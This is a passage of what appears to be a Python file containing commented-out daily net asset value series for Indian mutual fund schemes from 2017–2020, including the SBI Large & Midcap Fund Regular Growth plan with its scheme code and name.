# ('2019-10-11', 6826.310000),
# ('2019-10-14', 6848.160000),
# ('2019-10-15', 6884.930000),
# ('2019-10-16', 6892.300000),
# ('2019-10-17', 6990.210000),
# ('2019-10-18', 7077.000000),
# ('2019-10-22', 7063.920000),
# ('2019-10-23', 7074.620000),
# ('2019-10-24', 7060.200000),
# ('2019-10-25', 7053.900000),
# ('2019-10-27', 7096.340000),
# ('2019-10-29', 7179.960000),
# ('2019-10-30', 7215.430000),
# ('2019-10-31', 7272.360000),
# ('2019-11-01', 7287.810000),
# ('2019-11-04', 7297.260000),
# ('2019-11-05', 7253.730000),
# ('2019-11-06', 7263.890000),
# ('2019-11-07', 7302.950000),
# ('2019-11-08', 7248.060000),
# ('2019-11-11', 7269.870000),
# ('2019-11-13', 7219.070000),
# ('2019-11-14', 7234.610000),
# ('2019-11-15', 7251.170000),
# ('2019-11-18', 7271.920000),
# ('2019-11-19', 7295.430000),
# ('2019-11-20', 7320.500000),
# ('2019-11-21', 7285.190000),
# ('2019-11-25', 7356.400000),
# ('2019-11-26', 7316.490000),
# ('2019-11-27', 7362.880000),
# ('2019-11-28', 7411.480000),
# ('2019-11-29', 7390.460000),
# ('2019-12-02', 7368.650000),
# ('2019-12-03', 7316.590000),
# ('2019-12-04', 7352.270000),
# ('2019-12-05', 7333.740000),
# ('2019-12-06', 7256.380000),
# ('2019-12-09', 7259.870000),
# ('2019-12-10', 7193.810000),
# ('2019-12-11', 7230.710000),
# ('2019-12-12', 7276.670000),
# ('2019-12-13', 7345.340000),
# ('2019-12-16', 7318.210000),
# ('2019-12-17', 7368.300000),
# ('2019-12-18', 7375.430000),
# ('2019-12-19', 7392.510000),
# ('2019-12-20', 7397.960000),
# ('2019-12-23', 7389.240000),
# ('2019-12-24', 7372.090000),
# ('2019-12-26', 7351.990000),
# ('2019-12-27', 7419.880000),
# ('2019-12-30', 7438.050000),
# ('2019-12-31', 7418.010000),
# ('2020-01-01', 7434.700000),
# ('2020-01-02', 7511.840000),
# ('2020-01-03', 7479.400000),
# ('2020-01-06', 7327.710000),
# ('2020-01-07', 7373.560000),
# ('2020-01-08', 7373.230000),
# ('2020-01-09', 7481.870000),
# ('2020-01-10', 7505.340000),
# ('2020-01-13', 7553.700000),
# ('2020-01-14', 7590.150000),
# ('2020-01-15', 7622.570000),
# ('2020-01-16', 7658.120000),
# ('2020-01-17', 7675.790000),
# ('2020-01-20', 7620.150000),
# ('2020-01-21', 7599.100000),
# ('2020-01-22', 7574.130000),
# ('2020-01-23', 7648.520000),
# ('2020-01-24', 7702.140000),
# ('2020-01-27', 7657.910000),
# ('2020-01-28', 7633.020000),
# ('2020-01-29', 7666.350000),
# ('2020-01-30', 7603.980000),
# ('2020-01-31', 7562.880000),
# ('2020-02-01', 7373.390000),
# ('2020-02-03', 7422.010000),
# ('2020-02-04', 7547.030000),
# ('2020-02-05', 7625.570000),
# ('2020-02-06', 7666.630000),
# ('2020-02-07', 7688.920000),
# ('2020-02-10', 7642.770000),
# ('2020-02-11', 7665.360000),
# ('2020-02-12', 7684.430000),
# ('2020-02-13', 7672.340000),
# ('2020-02-14', 7626.690000),
# ('2020-02-17', 7569.580000),
# ('2020-02-18', 7533.920000),
# ('2020-02-19', 7634.820000),
# ('2020-02-20', 7652.110000),
# ('2020-02-24', 7506.910000),
# ('2020-02-25', 7477.950000),
# ('2020-02-26', 7395.080000),
# ('2020-02-27', 7355.280000),
# ('2020-02-28', 7110.720000),
# ('2020-03-02', 7067.360000),
# ('2020-03-03', 7186.620000),
# ('2020-03-04', 7114.320000),
# ('2020-03-05', 7131.260000),
# ('2020-03-06', 6973.490000),
# ('2020-03-09', 6659.510000),
# ('2020-03-11', 6633.600000),
# ('2020-03-12', 6097.020000),
# ('2020-03-13', 6278.830000),
# ('2020-03-16', 5867.020000),
# ('2020-03-17', 5729.750000),
# ('2020-03-18', 5419.920000),
# ('2020-03-19', 5243.150000),
# ('2020-03-20', 5502.460000),
# ('2020-03-23', 4794.490000),
# ('2020-03-24', 4875.910000),
# ('2020-03-25', 5109.090000),
# ('2020-03-26', 5309.100000),
# ('2020-03-27', 5303.630000),
# ('2020-03-30', 5136.110000),
# ('2020-03-31', 5301.410000),
# ('2020-04-01', 5152.250000),
# ('2020-04-03', 5067.110000),
# ('2020-04-07', 5404.910000),
# ('2020-04-08', 5443.560000),
# ('2020-04-09', 5642.200000),
# ('2020-04-13', 5578.940000),
# ('2020-04-15', 5598.780000),
# ('2020-04-16', 5662.810000),
# ('2020-04-17', 5805.140000),
# ('2020-04-20', 5815.050000),
# ('2020-04-21', 5648.720000),
# ('2020-04-22', 5730.000000),
# ('2020-04-23', 5797.080000),
# ('2020-04-24', 5696.880000),
# ('2020-04-27', 5787.010000),
# ('2020-04-28', 5844.830000),
# ('2020-04-29', 5931.940000),
# ('2020-04-30', 6077.110000),
# ('2020-05-04', 5789.990000),
# ('2020-05-05', 5741.990000),
# ('2020-05-06', 5778.590000),
# ('2020-05-07', 5740.860000),
# ('2020-05-08', 5748.940000),
# ('2020-05-11', 5761.100000),
# ('2020-05-12', 5730.250000),
# ('2020-05-13', 5839.990000),
# ('2020-05-14', 5758.190000),
# ('2020-05-15', 5747.070000),
# ('2020-05-18', 5536.940000),
# ('2020-05-19', 5561.920000),
# ('2020-05-20', 5659.760000),
# ('2020-05-21', 5698.190000),
# ('2020-05-22', 5661.020000),
# ('2020-05-26', 5690.030000),
# ('2020-05-27', 5778.830000),
# ('2020-05-28', 5874.550000),
# ('2020-05-29', 5947.610000),
# ('2020-06-01', 6105.440000),
# ('2020-06-02', 6190.180000),
# ('2020-06-03', 6236.480000),
# ('2020-06-04', 6222.450000),
# ('2020-06-05', 6314.940000),
# ('2020-06-08', 6335.780000),
# ('2020-06-09', 6284.660000),
# ('2020-06-10', 6337.620000),
# ('2020-06-11', 6232.950000),
# ('2020-06-12', 6285.930000),
# ('2020-06-15', 6205.750000),
# ('2020-06-16', 6251.570000),
# ('2020-06-17', 6253.440000),
# ('2020-06-18', 6350.670000),
# ('2020-06-19', 6438.360000),
# ('2020-06-22', 6514.820000),
# ('2020-06-23', 6619.190000),
# ('2020-06-24', 6533.000000),
# ('2020-06-25', 6559.500000),
# ('2020-06-26', 6588.830000),
# ('2020-06-29', 6518.730000),
# ('2020-06-30', 6506.460000),
# ('2020-07-01', 6549.380000),
# ('2020-07-02', 6624.010000),
# ('2020-07-03', 6664.660000),
# ('2020-07-06', 6761.790000),
# ('2020-07-07', 6790.940000),
# ('2020-07-08', 6744.860000),
# ('2020-07-09', 6781.570000),
# ('2020-07-10', 6745.610000),
# ('2020-07-13', 6749.560000),
# ('2020-07-14', 6656.610000),
# ('2020-07-15', 6645.840000),
# ('2020-07-16', 6694.350000),
# ('2020-07-17', 6785.290000),
# ('2020-07-20', 6851.820000),
# ('2020-07-21', 6895.270000),
# ('2020-07-22', 6883.610000),
# ('2020-07-23', 6934.090000),
# ('2020-07-24', 6915.340000),
# ('2020-07-27', 6856.060000),
# ('2020-07-28', 6929.480000),
# ('2020-07-29', 6920.560000),
# ('2020-07-30', 6871.030000),
# ]
scheme_code = 'S0007532'
scheme_name = 'SBI LARGE & MIDCAP FUND- REGULAR PLAN -Growth'
# scheme_data = [
# ('2017-06-01', 192.305200),
# ('2017-06-02', 193.579700),
# ('2017-06-05', 194.578500),
# ('2017-06-06', 193.003500),
# ('2017-06-07', 194.403200),
# ('2017-06-08', 194.239100),
# ('2017-06-09', 194.507900),
# ('2017-06-12', 192.958300),
# ('2017-06-13', 193.294200),
# ('2017-06-14', 193.913200),
# ('2017-06-15', 193.729300),
# ('2017-06-16', 194.395500),
# ('2017-06-19', 195.144400),
# ('2017-06-20', 195.736300),
# ('2017-06-21', 195.321200),
# ('2017-06-22', 194.821800),
# ('2017-06-23', 192.763100),
# ('2017-06-27', 191.453000),
# ('2017-06-28', 191.468400),
# ('2017-06-29', 192.416100),
# ('2017-06-30', 193.265900),
# ('2017-07-03', 195.662800),
# ('2017-07-04', 195.185500),
# ('2017-07-05', 196.340700),
# ('2017-07-06', 196.963600),
# ('2017-07-07', 196.997500),
# ('2017-07-10', 197.997900),
# ('2017-07-11', 196.699700),
# ('2017-07-12', 198.005000),
# ('2017-07-13', 199.372000),
# ('2017-07-14', 199.547500),
# ('2017-07-17', 199.775700),
# ('2017-07-18', 197.163700),
# ('2017-07-19', 198.168000),
# ('2017-07-20', 197.416600),
# ('2017-07-21', 198.220800),
# ('2017-07-24', 199.226900),
# ('2017-07-25', 200.078100),
# ('2017-07-26', 200.648200),
# ('2017-07-27', 198.881400),
# ('2017-07-28', 198.782300),
# ('2017-07-31', 200.652400),
# ('2017-08-01', 200.367300),
# ('2017-08-02', 200.287700),
# ('2017-08-03', 198.710400),
# ('2017-08-04', 200.295200),
# ('2017-08-07', 201.012600),
# ('2017-08-08', 199.143300),
# ('2017-08-09', 196.859100),
# ('2017-08-10', 194.323400),
# ('2017-08-11', 192.676300),
# ('2017-08-14', 195.961600),
# ('2017-08-16', 198.281800),
# ('2017-08-17', 198.245400),
# ('2017-08-18', 198.085000),
# ('2017-08-21', 196.343900),
# ('2017-08-22', 196.184800),
# ('2017-08-23', 197.512800),
# ('2017-08-24', 198.086600),
# ('2017-08-28', 199.350600),
# ('2017-08-29', 197.428100),
# ('2017-08-30', 199.468400),
# ('2017-08-31', 200.710100),
# ('2017-09-01', 201.955800),
# ('2017-09-04', 199.982700),
# ('2017-09-05', 201.256800),
# ('2017-09-06', 201.140100),
# ('2017-09-07', 201.164800),
# ('2017-09-08', 200.931900),
# ('2017-09-11', 202.243100),
# ('2017-09-12', 203.675000),
# ('2017-09-13', 202.420100),
# ('2017-09-14', 202.974800),
# ('2017-09-15', 202.962000),
# ('2017-09-18', 204.003900),
# ('2017-09-19', 205.308700),
# ('2017-09-20', 204.627600),
# ('2017-09-21', 203.954800),
# ('2017-09-22', 199.576000),
# ('2017-09-25', 197.371200),
# ('2017-09-26', 198.229600),
# ('2017-09-27', 194.788700),
# ('2017-09-28', 196.196500),
# ('2017-09-29', 197.843100),
# ('2017-10-03', 198.994900),
# ('2017-10-04', 199.601500),
# ('2017-10-05', 199.457500),
# ('2017-10-06', 201.571300),
# ('2017-10-09', 201.244100),
# ('2017-10-10', 202.685500),
# ('2017-10-11', 201.842500),
# ('2017-10-12', 203.635300),
# ('2017-10-13', 204.206700),
# ('2017-10-16', 205.634300),
# ('2017-10-17', 206.205100),
# ('2017-10-18', 205.105200),
# ('2017-10-23', 205.944000),
# ('2017-10-24', 207.048400),
# ('2017-10-25', 210.777400),
# ('2017-10-26', 211.172100),
# ('2017-10-27', 210.319800),
# ('2017-10-30', 211.367700),
# ('2017-10-31', 211.219600),
# ('2017-11-01', 214.183100),
# ('2017-11-02', 213.506800),
# ('2017-11-03', 213.487400),
# ('2017-11-06', 214.155400),
# ('2017-11-07', 211.283200),
# ('2017-11-08', 209.516900),
# ('2017-11-09', 211.496700),
# ('2017-11-10', 211.862000),
# ('2017-11-13', 211.896300),
# ('2017-11-14', 211.247500),
# ('2017-11-15', 209.562700),
# ('2017-11-16', 211.727300),
# ('2017-11-17', 213.746800),
# ('2017-11-20', 214.861600),
# ('2017-11-21', 215.786900),
# ('2017-11-22', 215.495700),
# ('2017-11-23', 215.548500),
# ('2017-11-24', 217.038600),
# ('2017-11-27', 217.764700),
# ('2017-11-28', 218.001400),
# ('2017-11-29', 219.223600),
# ('2017-11-30', 216.661100),
# ('2017-12-01', 214.025500),
# ('2017-12-04', 212.958200),
# ('2017-12-05', 213.676200),
# ('2017-12-06', 212.203900),
# ('2017-12-07', 215.569000),
# ('2017-12-08', 216.917300),
# ('2017-12-11', 218.667900),
# ('2017-12-12', 216.740600),
# ('2017-12-13', 215.318600),
# ('2017-12-14', 216.526100),
# ('2017-12-15', 217.950900),
# ('2017-12-18', 219.713500),
# ('2017-12-19', 223.041700),
# ('2017-12-20', 224.026200),
# ('2017-12-21', 224.223200),
# ('2017-12-22', 225.031600),
# ('2017-12-26', 227.049400),
# ('2017-12-27', 225.283000),
# ('2017-12-28', 224.494900),
# ('2017-12-29', 225.490200),
# ('2018-01-01', 224.527000),
# ('2018-01-02', 224.020600),
# ('2018-01-03', 225.205500),
# ('2018-01-04', 226.975200),
# ('2018-01-05', 228.496700),
# ('2018-01-08', 228.943600),
# ('2018-01-09', 227.999800),
# ('2018-01-10', 227.398200),
# ('2018-01-11', 227.993900),
# ('2018-01-12', 228.476500),
# ('2018-01-15', 229.042200),
# ('2018-01-16', 226.992200),
# ('2018-01-17', 228.824000),
# ('2018-01-18', 226.498200),
# ('2018-01-19', 228.755400),
# ('2018-01-22', 230.352200),
# ('2018-01-23', 232.548300),
# ('2018-01-24', 230.701900),
# ('2018-01-25', 228.454700),
# ('2018-01-29', 227.387500),
# ('2018-01-30', 225.846600),
# ('2018-01-31', 225.225800),
# ('2018-02-01', 225.198900),
# ('2018-02-02', 219.310100),
# ('2018-02-05', 218.386300),
# ('2018-02-06', 215.501100),
# ('2018-02-07', 216.868000),
# ('2018-02-08', 219.103800),
# ('2018-02-09', 217.345300),
# ('2018-02-12', 218.788100),
# ('2018-02-14', 218.984600),
# ('2018-02-15', 218.436500),
# ('2018-02-16', 215.348900),
# ('2018-02-19', 213.829200),
# ('2018-02-20', 213.456900),
# ('2018-02-21', 213.310600),
# ('2018-02-22', 212.271800),
# ('2018-02-23', 215.279400),
# ('2018-02-26', 216.522100),
# ('2018-02-27', 216.166400),
# ('2018-02-28', 214.988200),
# ('2018-03-01', 214.343600),
# ('2018-03-05', 213.176800),
# ('2018-03-06', 210.528600),
# ('2018-03-07', 207.379800),
# ('2018-03-08', 208.528200),
# ('2018-03-09', 208.334900),
# ('2018-03-12', 210.462400),
# ('2018-03-13', 211.602600),
# ('2018-03-14', 212.012200),
# ('2018-03-15', 212.509700),
# ('2018-03-16', 210.287900),
# ('2018-03-19', 207.325500),
# ('2018-03-20', 207.199400),
# ('2018-03-21', 208.129200),
# ('2018-03-22', 207.253400),
# ('2018-03-23', 205.249800),
# ('2018-03-26', 207.827000),
# ('2018-03-27', 209.852800),
# ('2018-03-28', 208.000300),
# ('2018-04-02', 209.244400),
# ('2018-04-03', 210.515500),
# ('2018-04-04', 208.556900),
# ('2018-04-05', 212.210800),
# ('2018-04-06', 212.991800),
# ('2018-04-09', 213.543500),
# ('2018-04-10', 214.423300),
# ('2018-04-11', 214.800300),
# ('2018-04-12', 214.128800),
# ('2018-04-13', 214.826000),
# ('2018-04-16', 215.147600),
# ('2018-04-17', 215.814400),
# ('2018-04-18', 215.554000),
# ('2018-04-19', 217.430900),
# ('2018-04-20', 217.304400),
# ('2018-04-23', 217.851400),
# ('2018-04-24', 217.478400),
# ('2018-04-25', 216.217000),
# ('2018-04-26', 216.505800),
# ('2018-04-27', 218.195600),
# ('2018-04-30', 219.163200),
# ('2018-05-02', 217.223900),
# ('2018-05-03', 216.629800),
# ('2018-05-04', 215.447400),
# ('2018-05-07', 216.371100),
# ('2018-05-08', 216.542100),
# ('2018-05-09', 216.020800),
# ('2018-05-10', 215.255100),
# ('2018-05-11', 215.274800),
# ('2018-05-14', 213.854500),
# ('2018-05-15', 213.259400),
# ('2018-05-16', 211.905000),
# ('2018-05-17', 211.634100),
# ('2018-05-18', 209.591500),
# ('2018-05-21', 208.815100),
# ('2018-05-22', 209.966900),
# ('2018-05-23', 209.155500),
# ('2018-05-24', 210.923800),
# ('2018-05-25', 212.778500),
# ('2018-05-28', 214.211100),
# ('2018-05-29', 211.837400),
# ('2018-05-30', 211.418700),
# ('2018-05-31', 212.781300),
# ('2018-06-01', 211.146800),
# ('2018-06-04', 209.604500),
# ('2018-06-05', 206.730200),
# ('2018-06-06', 209.652400),
# ('2018-06-07', 211.779900),
# ('2018-06-08', 212.355800),
# ('2018-06-11', 213.221500),
# ('2018-06-12', 213.953600),
# ('2018-06-13', 213.571600),
# ('2018-06-14', 212.992900),
# ('2018-06-15', 212.640300),
# ('2018-06-18', 212.548300),
# ('2018-06-19', 210.249700),
# ('2018-06-20', 211.140300),
# ('2018-06-21', 210.240400),
# ('2018-06-22', 210.910200),
# ('2018-06-25', 209.103800),
# ('2018-06-26', 208.837000),
# ('2018-06-27', 206.355600),
# ('2018-06-28', 203.872100),
# ('2018-06-29', 206.547900),
# ('2018-07-02', 205.064600),
# ('2018-07-03', 206.225700),
# ('2018-07-04', 205.897700),
# ('2018-07-05', 204.874400),
# ('2018-07-06', 204.298300),
# ('2018-07-09', 206.193700),
# ('2018-07-10', 207.812900),
# ('2018-07-11', 207.489000),
# ('2018-07-12', 207.509400),
# ('2018-07-13', 206.606100),
# ('2018-07-16', 203.981100),
# ('2018-07-17', 205.613900),
# ('2018-07-18', 204.100700),
# ('2018-07-19', 202.874600),
# ('2018-07-20', 203.924300),
# ('2018-07-23', 205.617200),
# ('2018-07-24', 207.504900),
# ('2018-07-25', 208.000300),
# ('2018-07-26', 210.009400),
# ('2018-07-27', 212.594200),
# ('2018-07-30', 213.830500),
# ('2018-07-31', 214.335700),
# ('2018-08-01', 213.542100),
# ('2018-08-02', 213.687900),
# ('2018-08-03', 215.580100),
# ('2018-08-06', 217.885600),
# ('2018-08-07', 217.698400),
# ('2018-08-08', 218.446700),
# ('2018-08-09', 218.107400),
# ('2018-08-10', 217.713600),
# ('2018-08-13', 216.219100),
# ('2018-08-14', 217.178100),
# ('2018-08-16', 217.050000),
# ('2018-08-17', 218.322100),
# ('2018-08-20', 218.596700),
# ('2018-08-21', 219.723400),
# ('2018-08-23', 220.968100),
# ('2018-08-24', 219.595500),
# ('2018-08-27', 221.923900),
# ('2018-08-28', 222.669300),
# ('2018-08-29', 222.574200),
# ('2018-08-30', 223.524400),
# ('2018-08-31', 224.560500),
# ('2018-09-03', 223.098600),
# ('2018-09-04', 219.751400),
# ('2018-09-05', 218.739400),
# ('2018-09-06', 220.057000),
# ('2018-09-07', 222.370000),
# ('2018-09-10', 219.584000),
# ('2018-09-11', 216.829400),
# ('2018-09-12', 217.300600),
# ('2018-09-14', 219.539500),
# ('2018-09-17', 217.968400),
# ('2018-09-18', 216.291700),
# ('2018-09-19', 215.183900),
# ('2018-09-21', 212.951100),
# ('2018-09-24', 209.497400),
# ('2018-09-25', 210.856600),
# ('2018-09-26', 211.395000),
# ('2018-09-27', 209.580600),
# ('2018-09-28', 207.825800),
# ('2018-10-01', 208.447200),
# ('2018-10-03', 206.201900),
# ('2018-10-04', 202.695300),
# ('2018-10-05', 199.507600),
# ('2018-10-08', 198.167600),
# ('2018-10-09', 197.129200),
# ('2018-10-10', 201.848400),
# ('2018-10-11', 198.422900),
# ('2018-10-12', 201.364700),
# ('2018-10-15', 202.446600),
# ('2018-10-16', 204.159300),
# ('2018-10-17', 201.779800),
# ('2018-10-19', 199.282400),
# ('2018-10-22', 199.126000),
# ('2018-10-23', 196.469500),
# ('2018-10-24', 197.360100),
# ('2018-10-25', 195.726100),
# ('2018-10-26', 194.411700),
# ('2018-10-29', 199.167100),
# ('2018-10-30', 199.873100),
# ('2018-10-31', 203.052800),
# ('2018-11-01', 204.045400),
# ('2018-11-02', 205.440900),
# ('2018-11-05', 205.018700),
# ('2018-11-06', 204.463800),
# ('2018-11-09', 206.808200),
# ('2018-11-12', 204.669400),
# ('2018-11-13', 205.464000),
# ('2018-11-14', 206.157300),
# ('2018-11-15', 207.028200),
# ('2018-11-16', 208.090700),
# ('2018-11-19', 208.388600),
# ('2018-11-20', 206.968900),
# ('2018-11-21', 207.395700),
# ('2018-11-22', 206.730800),
# ('2018-11-26', 207.856600),
# ('2018-11-27', 208.515800),
# ('2018-11-28', 208.510000),
# ('2018-11-29', 209.390400),
# ('2018-11-30', 210.156300),
# ('2018-12-03', 211.093200),
# ('2018-12-04', 211.870900),
# ('2018-12-05', 210.280000),
# ('2018-12-06', 207.271100),
# ('2018-12-07', 207.626600),
# ('2018-12-10', 204.346200),
# ('2018-12-11', 206.584600),
# ('2018-12-12', 210.706800),
# ('2018-12-13', 211.953200),
# ('2018-12-14', 212.092200),
# ('2018-12-17', 212.268000),
# ('2018-12-18', 212.593100),
# ('2018-12-19', 214.998300),
# ('2018-12-20', 214.653000),
# ('2018-12-21', 211.182900),
# ('2018-12-24', 209.607700),
# ('2018-12-26', 210.454300),
# ('2018-12-27', 211.067400),
# ('2018-12-28', 212.357300),
# ('2018-12-31', 213.651000),
# ('2019-01-01', 214.256100),
# ('2019-01-02', 212.530100),
# ('2019-01-03', 211.067300),
# ('2019-01-04', 211.189100),
# ('2019-01-07', 212.616500),
# ('2019-01-08', 213.229700),
# ('2019-01-09', 213.841200),
# ('2019-01-10', 214.667200),
# ('2019-01-11', 214.388700),
# ('2019-01-14', 213.112000),
# ('2019-01-15', 214.672700),
# ('2019-01-16', 214.824200),
# ('2019-01-17', 214.088000),
# ('2019-01-18', 212.860400),
# ('2019-01-21', 212.429000),
# ('2019-01-22', 212.261000),
# ('2019-01-23', 210.725400),
# ('2019-01-24', 210.126700),
# ('2019-01-25', 208.999400),
# ('2019-01-28', 206.518800),
# ('2019-01-29', 206.307500),
# ('2019-01-30', 207.365500),
# ('2019-01-31', 210.176000),
# ('2019-02-01', 211.009400),
# ('2019-02-04', 210.568600),
# ('2019-02-05', 209.229100),
# ('2019-02-06', 210.394500),
# ('2019-02-07', 211.200700),
# ('2019-02-08', 209.327800),
# ('2019-02-11', 206.904400),
# ('2019-02-12', 206.156800),
# ('2019-02-13', 205.268200),
# ('2019-02-14', 204.850000),
# ('2019-02-15', 203.874300),
# ('2019-02-18', 201.806500),
# ('2019-02-19', 201.949800),
# ('2019-02-20', 203.282700),
# ('2019-02-21', 204.925500),
# ('2019-02-22', 205.444900),
# ('2019-02-25', 206.651600),
# ('2019-02-26', 205.603100),
# ('2019-02-27', 205.734900),
# ('2019-02-28', 206.126700),
# ('2019-03-01', 207.247400),
# ('2019-03-05', 210.635300),
# ('2019-03-06', 212.589100),
# ('2019-03-07', 213.097600),
# ('2019-03-08', 212.855500),
# ('2019-03-11', 216.066400),
# ('2019-03-12', 219.054400),
# ('2019-03-13', 218.769000),
# ('2019-03-14', 218.219200),
# ('2019-03-15', 219.315800),
# ('2019-03-18', 218.980600),
# ('2019-03-19', 219.810100),
# ('2019-03-20', 219.190000),
# ('2019-03-22', 217.979600),
# ('2019-03-25', 215.893100),
# ('2019-03-26', 217.767800),
# ('2019-03-27', 218.149800),
# ('2019-03-28', 220.348200),
# ('2019-03-29', 222.205500),
# ('2019-04-01', 223.085400),
# ('2019-04-02', 224.048400),
# ('2019-04-03', 221.451400),
# ('2019-04-04', 221.284300),
# ('2019-04-05', 222.455600),
# ('2019-04-08', 221.541700),
# ('2019-04-09', 221.958200),
# ('2019-04-10', 220.782700),
# ('2019-04-11', 221.859700),
# ('2019-04-12', 222.013100),
# ('2019-04-15', 223.465200),
# ('2019-04-16', 224.927000),
# ('2019-04-18', 223.997200),
# ('2019-04-22', 221.207500),
# ('2019-04-23', 220.669500),
# ('2019-04-24', 221.979500),
# ('2019-04-25', 221.322000),
# ('2019-04-26', 222.634500),
# ('2019-04-30', 222.848000),
# ('2019-05-02', 222.065300),
# ('2019-05-03', 221.555300),
# ('2019-05-06', 219.630300),
# ('2019-05-07', 217.454100),
# ('2019-05-08', 214.694500),
# ('2019-05-09', 213.651100),
# ('2019-05-10', 214.080600),
# ('2019-05-13', 211.119800),
# ('2019-05-14', 211.845900),
# ('2019-05-15', 210.526900),
# ('2019-05-16', 211.454200),
# ('2019-05-17', 212.820200),
# ('2019-05-20', 220.634800),
# ('2019-05-21', 218.477700),
# ('2019-05-22', 218.884300),
# ('2019-05-23', 219.124600),
# ('2019-05-24', 224.427900),
# ('2019-05-27', 226.496500),
# ('2019-05-28', 226.470300),
# ('2019-05-29', 223.623800),
# ('2019-05-30', 224.764500),
# ('2019-05-31', 225.551900),
# ('2019-06-03', 226.573300),
# ('2019-06-04', 225.710700),
# ('2019-06-06', 221.842800),
# ('2019-06-07', 222.193500),
# ('2019-06-10', 222.970500),
# ('2019-06-11', 224.164300),
# ('2019-06-12', 222.905100),
# ('2019-06-13', 222.662500),
# ('2019-06-14', 220.866300),
# ('2019-06-17', 218.057500),
# ('2019-06-18', 218.832000),
# ('2019-06-19', 217.647600),
# ('2019-06-20', 220.689800),
# ('2019-06-21', 220.448700),
# ('2019-06-24', 220.269000),
# ('2019-06-25', 222.301900),
# ('2019-06-26', 223.784000),
# ('2019-06-27', 223.994100),
# ('2019-06-28', 223.421600),
# ('2019-07-01', 224.514000),
# ('2019-07-02', 225.529200),
# ('2019-07-03', 225.426500),
# ('2019-07-04', 225.968800),
# ('2019-07-05', 223.344700),
# ('2019-07-08', 219.013400),
# ('2019-07-09', 219.552000),
# ('2019-07-10', 218.485600),
# ('2019-07-11', 219.344400),
# ('2019-07-12', 219.433300),
# ('2019-07-15', 219.322900),
# ('2019-07-16', 221.387400),
# ('2019-07-17', 222.078900),
# ('2019-07-18', 219.682000),
# ('2019-07-19', 216.519700),
# ('2019-07-22', 215.725100),
# ('2019-07-23', 215.094700),
# ('2019-07-24', 213.148500),
# ('2019-07-25', 213.399700),
# ('2019-07-26', 214.259000),
# ('2019-07-29', 212.641100),
# ('2019-07-30', 210.925200),
# ('2019-07-31', 211.948900),
# ('2019-08-01', 208.965200),
# ('2019-08-02', 208.130500),
# ('2019-08-05', 205.553200),
# ('2019-08-06', 208.191000),
# ('2019-08-07', 207.267900),
# ('2019-08-08', 208.566500),
# ('2019-08-09', 209.424700),
# ('2019-08-13', 204.260200),
# ('2019-08-14', 206.414600),
# ('2019-08-16', 206.841300),
# ('2019-08-19', 207.747900),
# ('2019-08-20', 206.338100),
# ('2019-08-21', 203.900400),
# ('2019-08-22', 201.305400),
# ('2019-08-23', 202.762000),
# ('2019-08-26', 206.238300),
# ('2019-08-27', 207.756200),
# ('2019-08-28', 207.251200),
# ('2019-08-29', 205.266400),
# ('2019-08-30', 206.759100),
# ('2019-09-03', 203.341000),
# ('2019-09-04', 203.774000),
# ('2019-09-05', 204.333400),
# ('2019-09-06', 205.594800),
# ('2019-09-09', 207.163700),
# ('2019-09-11', 209.008700),
# ('2019-09-12', 208.750500),
# ('2019-09-13', 210.304900),
# ('2019-09-16', 209.646800),
# ('2019-09-17', 206.241600),
# ('2019-09-18', 206.523100),
# ('2019-09-19', 204.479200),
# ('2019-09-20', 215.370900),
# ('2019-09-23', 222.527400),
# ('2019-09-24', 221.980400),
# ('2019-09-25', 218.139000),
# ('2019-09-26', 219.868600),
# ('2019-09-27', 219.799800),
# ('2019-09-30', 218.324500),
# ('2019-10-01', 215.030300),
# ('2019-10-03', 213.987200),
# ('2019-10-04', 211.196700),
# ('2019-10-07', 210.711000),
# ('2019-10-09', 213.896300),
# ('2019-10-10', 212.005500),
# ('2019-10-11', 213.028500),
# ('2019-10-14', 213.738700),
# ('2019-10-15', 214.191400),
# ('2019-10-16', 214.358200),
# ('2019-10-17', 216.894500),
# ('2019-10-18', 218.925400),
# ('2019-10-22', 219.130900),
# ('2019-10-23', 219.671500),
# ('2019-10-24', 218.790500),
# ('2019-10-25', 218.726400),
# ('2019-10-29', 221.957800),
# ('2019-10-30', 222.575400),
# ('2019-10-31', 224.024200),
# ('2019-11-01', 224.705000),
# ('2019-11-04', 225.578100),
# ('2019-11-05', 224.616200),
# ('2019-11-06', 224.557700),
# ('2019-11-07', 225.056900),
# ('2019-11-08', 224.054200),
# ('2019-11-11', 224.295900),
# ('2019-11-13', 223.778000),
# ('2019-11-14', 225.070000),
# ('2019-11-15', 225.642400),
# ('2019-11-18', 225.780600),
# ('2019-11-19', 227.013300),
# ('2019-11-20', 227.191400),
# ('2019-11-21', 225.798300),
# ('2019-11-22', 224.314900),
# ('2019-11-25', 226.915800),
# ('2019-11-26', 225.722800),
# ('2019-11-27', 226.813200),
# ('2019-11-28', 227.522500),
# ('2019-11-29', 227.353500),
# ('2019-12-02', 227.248500),
# ('2019-12-03', 225.763200),
# ('2019-12-04', 227.107200),
# ('2019-12-05', 226.665600),
# ('2019-12-06', 224.937400),
# ('2019-12-09', 224.737100),
# ('2019-12-10', 222.806400),
# ('2019-12-11', 223.084100),
# ('2019-12-12', 224.242900),
# ('2019-12-13', 225.951500),
# ('2019-12-16', 225.500200),
# ('2019-12-17', 226.979300),
# ('2019-12-18', 226.517100),
# ('2019-12-19', 226.505100),
# ('2019-12-20', 226.759900),
# ('2019-12-23', 226.819400),
# ('2019-12-24', 226.635300),
# ('2019-12-26', 226.389500),
# ('2019-12-27', 228.397100),
# ('2019-12-30', 228.119900),
# ('2019-12-31', 228.227800),
# ('2020-01-01', 228.916800),
# ('2020-01-02', 231.207000),
# ('2020-01-03', 230.970700),
# ('2020-01-06', 227.075000),
# ('2020-01-07', 227.819400),
# ('2020-01-08', 228.314900),
# ('2020-01-09', 230.636700),
# ('2020-01-10', 231.519900),
# ('2020-01-13', 232.732800),
# ('2020-01-14', 233.677800),
# ('2020-01-15', 233.717900),
# ('2020-01-16', 234.833800),
# ('2020-01-17', 235.729800),
# ('2020-01-20', 235.176600),
# ('2020-01-21', 234.779300),
# ('2020-01-22', 235.025900),
# ('2020-01-23', 237.408500),
# ('2020-01-24', 240.696300),
# ('2020-01-27', 239.561700),
# ('2020-01-28', 238.039000),
# ('2020-01-29', 238.747800),
# ('2020-01-30', 237.351400),
# ('2020-01-31', 237.799600),
# ('2020-02-03', 235.299000),
# ('2020-02-04', 237.791700),
# ('2020-02-05', 239.638800),
# ('2020-02-06', 239.395300),
# ('2020-02-07', 240.281400),
# ('2020-02-10', 239.073800),
# ('2020-02-11', 240.064300),
# ('2020-02-12', 240.567000),
# ('2020-02-13', 239.540500),
# ('2020-02-14', 239.503400),
